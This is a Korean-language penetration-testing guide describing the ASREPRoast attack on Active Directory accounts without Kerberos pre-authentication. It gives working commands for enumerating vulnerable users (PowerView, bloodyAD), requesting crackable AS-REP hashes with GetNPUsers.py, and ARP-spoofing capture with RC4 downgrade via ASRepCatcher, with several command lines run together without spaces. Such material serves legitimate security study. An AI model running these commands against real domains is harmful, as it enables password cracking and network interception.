ASREPRoast는 Kerberos 사전 인증이 필요한 속성이 없는 사용자를 악용하는 보안 공격입니다. 본질적으로 이 취약점은 공격자가 사용자의 비밀번호를 필요로하지 않고 도메인 컨트롤러(DC)로부터 사용자의 인증을 요청할 수 있게 합니다. 그러면 DC는 사용자의 비밀번호로 생성된 키로 암호화된 메시지로 응답하며, 공격자는 이를 오프라인으로 해독하여 사용자의 비밀번호를 알아내려고 시도할 수 있습니다.
이 공격의 주요 요구 사항은 다음과 같습니다:
Kerberos 사전 인증 부재: 대상 사용자는 이 보안 기능이 활성화되어 있지 않아야 합니다.
도메인 컨트롤러(DC)에 연결: 공격자는 요청을 보내고 암호화된 메시지를 수신하기 위해 DC에 액세스해야 합니다.
선택 사항 도메인 계정: 도메인 계정이 있으면 LDAP 쿼리를 통해 취약한 사용자를 더 효율적으로 식별할 수 있습니다. 이러한 계정이 없으면 공격자는 사용자 이름을 추측해야 합니다.
취약한 사용자 열거(도메인 자격 증명 필요)
Windows 사용
Get-DomainUser-PreauthNotRequired-verbose#List vuln users using PowerView
Linux 사용하기
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
AS_REP 메시지 요청
리눅스 사용
#Try all the usernames in usernames.txtpythonGetNPUsers.pyjurassic.park/-usersfileusernames.txt-formathashcat-outputfilehashes.asreproast#Use domain creds to extract targets and target thempythonGetNPUsers.pyjurassic.park/triceratops:Sh4rpH0rns-request-formathashcat-outputfilehashes.asreproast
공격자는 중간자 위치를 이용하여 네트워크를 통해 AS-REP 패킷을 캡처할 수 있습니다. 이는 Kerberos 사전 인증이 비활성화되어 있지 않아도 작동합니다. 따라서 VLAN 상의 모든 사용자에게 적용됩니다.
ASRepCatcher를 사용하여 이를 수행할 수 있습니다. 또한 해당 도구는 클라이언트 워크스테이션에 RC4를 사용하도록 강제하기 위해 Kerberos 협상을 변경합니다.
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supportedASRepCatcherrelay-dc $DC_IP# Disabling ARP spoofing, the mitm position must be obtained differentlyASRepCatcherrelay-dc $DC_IP --disable-spoofing# Passive listening of AS-REP packets, no packet alterationASRepCatcherlisten